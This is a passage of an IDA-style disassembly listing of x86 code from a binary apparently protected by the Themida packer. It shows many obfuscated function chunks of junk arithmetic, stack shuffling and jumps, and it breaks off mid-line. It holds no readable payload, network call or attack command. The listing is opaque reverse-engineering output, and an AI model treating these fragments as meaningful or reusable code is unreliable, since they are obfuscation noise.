FUNCTION CHUNK FOR sub_568DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56749A loc_564DB3: ; CODE XREF: sub_56749A-372Ej add eax, 4 add eax, 4 xchg eax, [esp+14h+var_14] jmp loc_56A802 ; END OF FUNCTION CHUNK FOR sub_56749A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_564DC5: ; CODE XREF: sub_56EFD2-1060j mov [esp+4+var_4], ebp push 908h mov [esp+8+var_8], esi push ebx mov ebx, 57B46FB7h and ebx, 480513F3h shl ebx, 2 shr ebx, 1 jmp loc_570983 ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575420 loc_564DE6: ; CODE XREF: sub_575420-35D4j dec cl add cl, 0E3h shl cl, 6 add cl, 0CFh xor cl, 0EEh add al, cl jmp loc_562C8F ; END OF FUNCTION CHUNK FOR sub_575420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_564DFB: ; CODE XREF: sub_56B06D-5707j mov ebp, 2F3B4242h push edi mov edi, 33EC42DAh mov ebx, 0BD0CF63Bh xor ebx, edi pop edi sub ebx, ebp mov ebp, [esp+8+var_8] add esp, 4 push ecx jmp loc_5644AA ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_564E1C: ; CODE XREF: sub_5638E4-23FBj add esi, 4F1B41C6h add esi, ebx jmp loc_564919 ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_564E29: ; CODE XREF: sub_567D31+8330j pop esp xchg ecx, [esp+0] pop esp mov esi, [esp-4+arg_0] jmp loc_56F806 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565AFE loc_564E36: ; CODE XREF: sub_565AFE+33j mov edi, 55C9027Eh inc edi jmp loc_563FE0 ; END OF FUNCTION CHUNK FOR sub_565AFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_564E41: ; CODE XREF: sub_56E126-79DCj shr ebx, 2 xor ebx, 2674E45Fh sub edi, 53D93622h sub edi, ebx jmp loc_56D647 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- loc_564E57: ; CODE XREF: Themida_:00572720j add edi, 4 xchg edi, [esp] pop esp add ebx, 2 push ebx push dword ptr [esp+4] pop ebx jmp loc_572ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E05C loc_564E72: ; CODE XREF: sub_56E05C+7479j xor edi, 76C025E4h jmp loc_563945 ; END OF FUNCTION CHUNK FOR sub_56E05C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_564E7D: ; CODE XREF: sub_5673C3+3124j pop [esp-8+arg_4] pop esp sub esp, 4 mov [esp-0Ch+arg_8], ebp mov ebp, esp push edi mov edi, 4 jmp loc_567CE8 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_564E97: ; CODE XREF: sub_567D31-4DBEj xor esi, ecx mov ecx, [esp+0] push edi mov edi, esp add edi, 4 push ebp mov ebp, 4 sub edi, 4287A2Dh add edi, ebp jmp loc_564157 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_564EB8: ; CODE XREF: sub_5685B2+A89Ej pop ebx jmp loc_56F7AB ; END OF FUNCTION CHUNK FOR sub_5685B2 ; =============== S U B R O U T I N E ======================================= sub_564EBE proc near ; CODE XREF: sub_565B6E+6C07j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056275E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005630CE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005643C9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00565A32 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567F04 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00568575 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00568D38 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056C695 SIZE 00000056 BYTES ; FUNCTION CHUNK AT 00572F4E SIZE 0000001F BYTES sub esp, 4 jmp loc_568D38 sub_564EBE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_564EC6: ; CODE XREF: sub_561027+5FFAj pop esi jmp loc_569C48 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_564ECC: ; CODE XREF: sub_566400+3617j xor ebp, 254B4C53h push 64D3h mov [esp+8+var_8], edx push ebx push edx mov edx, 5CB846C0h mov ebx, edx pop edx jmp loc_56C5D5 ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_564EE9: ; CODE XREF: sub_569A84+74D2j add eax, 0DA89652h mov edx, eax pop eax or edx, 74B24BAFh add edx, 5A5A38A0h push ebx mov ebx, 0D759889Dh add edx, 4EE356Dh sub edx, ebx sub edx, 4EE356Dh mov ebx, [esp+0Ch+var_C] add esp, 4 add ebx, edx pop edx xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_572479 ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_564F2B: ; CODE XREF: sub_56AEF2+5D73j sub bl, al pop eax jmp loc_56C29E ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_564F33: ; CODE XREF: sub_572641-87A0j push cx mov cl, 0C0h sub al, cl pop cx jmp loc_57189C ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562BA0 loc_564F40: ; CODE XREF: sub_562BA0+9088j add edx, 4 push ebx push esp pop ebx jmp sub_5722C8 ; END OF FUNCTION CHUNK FOR sub_562BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_564F4E: ; CODE XREF: sub_560844+DD72j xor esi, 0AD1BC4DDh add edx, esi pop esi sub eax, 67C76322h add eax, edx add eax, 67C76322h pop edx add eax, ebp push ebp jmp loc_569144 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_564F6C: ; CODE XREF: sub_564D26+862Ej mov ebp, edi pop edi jmp loc_56031C ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_564F74: ; CODE XREF: sub_564BC5-514j add edx, ecx pop ecx add edi, edx jmp loc_56A093 ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_564F7E: ; CODE XREF: sub_56E126-46Dj xor esi, 5AB445FAh sub esi, 0EC6924E6h and ebx, esi jmp loc_5603D1 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_564F91: ; CODE XREF: sub_56B11B+34Ej sub [esp+10h+var_10], esi jmp loc_57157C ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3AF loc_564F99: ; CODE XREF: sub_56D3AF+1716j push 6218h mov [esp+4+var_4], esi sub esp, 4 jmp loc_562EBE ; END OF FUNCTION CHUNK FOR sub_56D3AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5610CE loc_564FAC: ; CODE XREF: sub_5610CE+1Aj xor edi, 1D5FFFDAh add ebx, edi pop edi add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop [esp+4+var_4] pop esp push edi push ebp mov ebp, 4A0C6E0Ah push ebx push 12330013h pop ebx add ebx, 184927D2h and ebx, 223D3B49h inc ebx or ebx, 50D60E62h xor ebx, 38F2416Ch xor ebp, ebx pop ebx mov edi, ebp pop ebp add ecx, edi pop edi xchg ecx, [esp+0] pop esp push esi mov esi, esp push ebp push ebx jmp loc_560B21 ; END OF FUNCTION CHUNK FOR sub_5610CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_565000: ; CODE XREF: sub_56B06D+2BCEj push [esp+8+var_8] jmp loc_569D2F ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_565008: ; CODE XREF: sub_57354D+Fj push 5577h mov [esp+0Ch+var_C], esp add [esp+0Ch+var_C], 4 pop ebp add ebp, 4 jmp loc_56668F ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_565023: ; CODE XREF: sub_560056+E92Dj push eax mov eax, esp jmp loc_564953 ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56502B: ; CODE XREF: sub_56FA15+4ED3j mov ah, 31h mov dh, 0D7h add dh, ah pop eax push edx mov dh, 6Dh shr dh, 1 not dh jmp loc_560374 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572270 loc_56503E: ; CODE XREF: sub_572270+12j push esi push 68A221ABh mov esi, [esp+10h+var_10] add esp, 4 jmp sub_5653AD ; END OF FUNCTION CHUNK FOR sub_572270 ; =============== S U B R O U T I N E ======================================= sub_56504F proc near ; CODE XREF: sub_561541-1343j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560038 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00566F09 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], edi jmp loc_560038 sub_56504F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_56505A: ; CODE XREF: sub_56DA43-CC08j add esi, 4 push ecx jmp loc_566180 ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56666D loc_565063: ; CODE XREF: sub_56666D+9j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0Ch+var_C] pop esp push 351Eh mov [esp+0Ch+var_C], ecx push esi mov esi, 3D074458h mov ecx, esi mov esi, [esp+10h+var_10] jmp loc_57513D ; END OF FUNCTION CHUNK FOR sub_56666D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5610CE loc_56508C: ; CODE XREF: sub_5610CE-5A3j xor ebp, ebx pop ebx shl ebp, 8 and ebp, 7EAA6CE7h push ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 sub ecx, ebx pop ebx xor ecx, [esp+8+var_8] xor [esp+8+var_8], ecx xor ecx, [esp+8+var_8] pop esp mov [esp+4+var_4], esi push ecx push edx mov edx, 0AE4666Ch jmp loc_57123E ; END OF FUNCTION CHUNK FOR sub_5610CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_5650C3: ; CODE XREF: sub_5687A3+C798j pop edx jmp loc_563A66 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_5650C9: ; CODE XREF: sub_56CC46-9334j push 56A0h mov [esp+8+var_8], esp add [esp+8+var_8], 4 push [esp+8+var_8] pop esi push esi jmp loc_56CEFD ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574000 loc_5650E2: ; CODE XREF: sub_574000+7j push 37E0h mov [esp+8+var_8], edi mov edi, 4AA56783h add edi, 7B3F03E6h not edi jmp loc_56679B ; END OF FUNCTION CHUNK FOR sub_574000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5736FA loc_5650FC: ; CODE XREF: sub_5736FA-82j mov [esp+0], ebx push 3032AD5Fh mov ebx, [esp+4+var_4] add esp, 4 jmp sub_571289 ; END OF FUNCTION CHUNK FOR sub_5736FA ; --------------------------------------------------------------------------- loc_565112: ; CODE XREF: Themida_:00566A58j pop esp mov [esp], ebx push 63560694h pop ebx sub esp, 4 mov [esp], edi push ebp jmp loc_563EAA ; --------------------------------------------------------------------------- loc_565128: ; CODE XREF: Themida_:00563E06j add ebx, 29A1DD5Fh sub edx, ebx pop ebx add edx, 389E1CBCh add ebx, edx jmp loc_57491C ; =============== S U B R O U T I N E ======================================= sub_56513E proc near ; CODE XREF: sub_56D69D+4811j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00562890 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005674CD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056B2FA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005743FB SIZE 00000017 BYTES push ebp push 0AC7A34h pop ebp not ebp sub esp, 4 jmp loc_5674CD sub_56513E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_56514F: ; CODE XREF: sub_574949-13AACj inc dh xor dh, 2Fh add dh, 10h jmp loc_56E1C6 ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_56515C: ; CODE XREF: sub_56FA44+B80j sub esi, 4 xor esi, [esp+0Ch+var_C] xor [esp+0Ch+var_C], esi xor esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] mov [esp+8+var_8], edi mov edi, 55936F62h dec edi shr edi, 7 xor edi, 86F6C0Ah add edi, 0F73BB530h mov ebp, edi jmp loc_56CD88 ; END OF FUNCTION CHUNK FOR sub_56FA44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566B37 loc_56518D: ; CODE XREF: sub_566B37+D80Fj sub eax, esi jmp loc_56855F ; END OF FUNCTION CHUNK FOR sub_566B37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575328 loc_565194: ; CODE XREF: sub_575328-11D6j xor ecx, ebp pop ebp push ecx jmp loc_56854C ; END OF FUNCTION CHUNK FOR sub_575328 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5735AA loc_56519D: ; CODE XREF: sub_5735AA+19j dec ecx xchg ecx, esi add esi, 5D82561Ah sub ecx, esi jmp loc_566837 ; END OF FUNCTION CHUNK FOR sub_5735AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_5651AD: ; CODE XREF: sub_561F05+DE3Dj pop esi and ebx, ebp pop ebp xor ebx, 2C430C84h add edi, ebx pop ebx push esi mov esi, 5DD3089Ah shr esi, 8 neg esi sub esi, 0FFA22CF4h sub edi, esi pop esi push edi push [esp+8+var_4] pop edi pop [esp+8+var_8] mov esp, [esp+4+var_4] mov [esp+0], esi push 37F0h mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop esi jmp sub_562EB3 ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F3B2 loc_5651F2: ; CODE XREF: sub_56F3B2-AEFj pop [esp+8+var_8] jmp loc_56DBE5 ; END OF FUNCTION CHUNK FOR sub_56F3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B577 loc_5651FA: ; CODE XREF: sub_56B577+30BFj xchg esi, [esp+4+var_4] jmp loc_56F718 ; END OF FUNCTION CHUNK FOR sub_56B577 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DD54 loc_565202: ; CODE XREF: sub_56DD54-C1CDj pop ebp push edx xor dword ptr [esp+0], 4C441156h mov esi, [esp+0] add esp, 4 xor esi, 4C441156h jmp loc_56C378 ; END OF FUNCTION CHUNK FOR sub_56DD54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_56521C: ; CODE XREF: sub_5638E4+BDC9j add esp, 4 pop [esp+8+var_8] pop esp jmp loc_5635A6 ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573167 loc_565228: ; CODE XREF: sub_573167+493j sub ecx, 59726BFAh xor ecx, 0A270F8Eh mov edx, ecx pop ecx push eax mov eax, edx push eax add [esp+10h+var_10], 5DAF43E9h jmp loc_56DFAA ; END OF FUNCTION CHUNK FOR sub_573167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_565247: ; CODE XREF: sub_568764-8312j mov ebp, esp jmp loc_5710AC ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FCD7 loc_56524E: ; CODE XREF: sub_56FCD7-4B14j pop [esp+10h+var_10] jmp loc_56F265 ; END OF FUNCTION CHUNK FOR sub_56FCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_565256: ; CODE XREF: sub_567D31-21DBj push esi mov esi, 78A40990h push 3FF0h mov [esp+0], ecx push 72B3705Fh pop ecx push ebx push edi jmp loc_565383 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E05C loc_565271: ; CODE XREF: sub_56E05C+605Cj mov ebp, edi pop edi dec ebp shl ebp, 4 jmp loc_56087B ; END OF FUNCTION CHUNK FOR sub_56E05C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56527D: ; CODE XREF: sub_563A7F+2D17j add ecx, 4 add ecx, 4 xchg ecx, [esp+0Eh+var_10+2] pop esp retn ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- jmp loc_56A8F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_565290: ; CODE XREF: sub_574656-CF5Cj xor edx, 0F203F833h mov edi, edx pop edx push ebp mov ebp, 640547C1h sub eax, ebp mov ebp, [esp+10h+var_10] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_569BE7 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573167 loc_5652B5: ; CODE XREF: sub_573167-A7EEj mov edx, [esp+4+var_4] add esp, 4 xchg ebp, [esp+0] mov esp, [esp+0] push [esp-4+arg_0] push dword ptr [esp+0] pop ecx add esp, 4 push ebx push 4610h push esp pop [esp+8+var_8] sub esp, 4 mov [esp+8+var_8], ebx mov ebx, 4 add [esp+8+var_4], ebx pop ebx mov ebx, [esp+4+var_4] add esp, 4 jmp loc_56901B ; END OF FUNCTION CHUNK FOR sub_573167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_5652F3: ; CODE XREF: sub_5684A6-7081j not [esp+0Ch+var_C] pop ecx push ebx jmp loc_56E9A0 ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570019 loc_5652FD: ; CODE XREF: sub_570019-C26Ej push ecx push eax push 33FB1D44h pop eax inc eax sub eax, 33FB1D41h mov ecx, eax pop eax add edi, ecx pop ecx push ebp mov ebp, 7BCB52CBh push edi mov edi, 760A5155h and ebp, edi pop edi shl ebp, 1 add ebp, 0FFFFFFFFh xor ebp, 0E414A085h push 5775h mov [esp+4+var_4], ebx jmp loc_5680BB ; END OF FUNCTION CHUNK FOR sub_570019 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_56533B: ; CODE XREF: sub_570621-E048j add esp, 4 push edi push esp pop edi jmp loc_566FD7 ; END OF FUNCTION CHUNK FOR sub_570621 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_565346: ; CODE XREF: sub_570CE4+2B83j pop ecx xor esi, ebp pop ebp push 282Bh mov [esp+8+var_8], ebp push eax jmp sub_569B75 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573167 loc_565358: ; CODE XREF: sub_573167-5199j push dword ptr [esp+4] jmp loc_568F59 ; END OF FUNCTION CHUNK FOR sub_573167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5681F5 loc_565361: ; CODE XREF: sub_5681F5+35ACj push 467967BBh mov ebx, [esp+8+var_8] add esp, 4 or ebx, 4E224C46h shl ebx, 2 sub ebx, 5C75120h jmp loc_563498 ; END OF FUNCTION CHUNK FOR sub_5681F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_565383: ; CODE XREF: sub_567D31-2AC5j mov edi, 3F8370BDh or edi, 73A283Dh inc edi jmp loc_56E561 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_565394: ; CODE XREF: sub_56A608+6j mov [esp-4+arg_0], edi mov edi, 4C5A2B49h add ebp, edi pop edi shr ebp, 8 xor ebp, 5CC71919h jmp loc_5607BF ; END OF FUNCTION CHUNK FOR sub_56A608 ; =============== S U B R O U T I N E ======================================= sub_5653AD proc near ; CODE XREF: sub_572270-D226j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056003E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056040D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00561A1A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00565886 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00566778 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00568A1C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00569663 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B7AE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056BDD8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056E5D5 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056E80F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00570FF5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00573EB6 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00574128 SIZE 00000007 BYTES push ebx mov ebx, 63825A82h jmp loc_573EC9 sub_5653AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_5653B8: ; CODE XREF: sub_567D31-6D57j sub ebp, 568F0388h mov esi, ebp pop ebp or esi, 3C3169D6h xor esi, 468C2A9Bh push ebp jmp loc_5718C0 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_5653D3: ; CODE XREF: sub_5620B7+5307j pop cx shr bh, 5 xor bh, 89h add al, bh mov ebx, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], ebx push 3C4Ch jmp loc_561557 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566078 loc_5653F6: ; CODE XREF: sub_566078+D790j pop ecx jmp loc_5662E9 ; END OF FUNCTION CHUNK FOR sub_566078 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5653FC: ; CODE XREF: sub_5685B2-674Bj add ebp, 0F2E9689h mov edx, ebp pop ebp mov ecx, 2BD7B6D6h add ecx, edx jmp loc_562A5B ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- loc_565411: ; CODE XREF: Themida_:00569AD0j mov [esp], ecx mov ecx, 652248CDh inc ecx sub ecx, 71BA4A26h jmp loc_567A27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_565425: ; CODE XREF: sub_560844+137FFj shl esi, 1 sub esi, 0B8111B2Fh mov ebx, esi pop esi add eax, ebx pop ebx push ebp mov ebp, 22622D6h jmp loc_56760D ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56543E: ; CODE XREF: sub_5605BC+5262j add ebp, 8293D3BCh xor ecx, ebp pop ebp mov ebp, ecx pop ecx and eax, ebp mov ebp, [esp+28h+var_28] add esp, 4 or eax, eax jz loc_562EEF push 569Fh jmp loc_56049F ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_565464: ; CODE XREF: sub_56FB8A-73AFj mov edi, [esp+8+var_8] add esp, 4 jmp loc_563714 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5745B5 loc_565472: ; CODE XREF: sub_5745B5-12B3j push edx mov dh, 7Fh neg dh not dh xor dh, 0AEh add al, dh pop edx add al, dh sub al, 0D0h jmp loc_561623 ; END OF FUNCTION CHUNK FOR sub_5745B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564686 loc_565488: ; CODE XREF: sub_564686+129Fj mov esp, [esp+0] sub esp, 4 jmp loc_56F7CC ; END OF FUNCTION CHUNK FOR sub_564686 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_565493: ; CODE XREF: sub_573612-5D84j add esi, 4 jmp loc_564A02 ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56549E: ; CODE XREF: sub_564D26+DA3Dj sub [esp+0Ch+var_8], 2D1D6AF0h push [esp+0Ch+var_C] jmp loc_56D33B ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_5654AE: ; CODE XREF: sub_5713A7+32j mov eax, 25B51C2Ah add edx, 59496BD2h jmp loc_5728D0 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_5654BE: ; CODE XREF: sub_563A7F+383Dj push [esp+0Ah+var_C+2] mov esi, [esp+0Eh+var_10+2] push 1F70h jmp loc_5716B7 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_5654CE: ; CODE XREF: sub_574304-8F1Aj mov [esp+4+var_4], eax push 2ED9h mov [esp+8+var_8], ecx push [esp+8+var_4] mov ecx, [esp+0Ch+var_C] add esp, 4 pop [esp+8+var_8] xor ecx, ebp xor ebp, ecx xor ecx, ebp xchg eax, ebp push eax not [esp+8+var_8] mov eax, [esp+8+var_8] add esp, 4 push ebp push 5418h jmp loc_567BE6 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FCD7 loc_565502: ; CODE XREF: sub_56FCD7-DDDFj pop [esp+8+var_8] pop esp jmp sub_560CF1 ; END OF FUNCTION CHUNK FOR sub_56FCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561826 loc_56550B: ; CODE XREF: sub_561826+E64Bj add esi, 4 push edx push edi mov edi, 2 mov edx, edi jmp loc_56E743 ; END OF FUNCTION CHUNK FOR sub_561826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56551F: ; CODE XREF: sub_574304-64A5j neg edx not edx xor edx, 1D922FA2h add esi, edx pop edx add esi, 4 xchg esi, [esp+0] jmp loc_568FB0 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_56553A: ; CODE XREF: sub_572E16-1BBFj add esi, 4 push edi mov edi, 4 sub esi, edi jmp loc_560FF5 ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_56554D: ; CODE XREF: sub_561541+5C57j xor ecx, esi jmp loc_567057 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_565554: ; CODE XREF: sub_5734A7-3C89j sub esi, ebp pop ebp push edi mov edi, 42D40F6h sub esi, edi pop edi add esi, 225F045Ch push edi mov edi, 69C36732h sub esi, 0B35CB5h add esi, edi add esi, 0B35CB5h jmp loc_563C03 ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_56557F: ; CODE XREF: sub_5634AF+DA5Bj mov ebp, 2B1E392Bh xor ebp, 32207A10h or ebp, 463A6986h xor ebp, 0AB4415Fh push edx push ecx mov ecx, ebp push ecx jmp loc_5656A0 ; END OF FUNCTION CHUNK FOR sub_5634AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 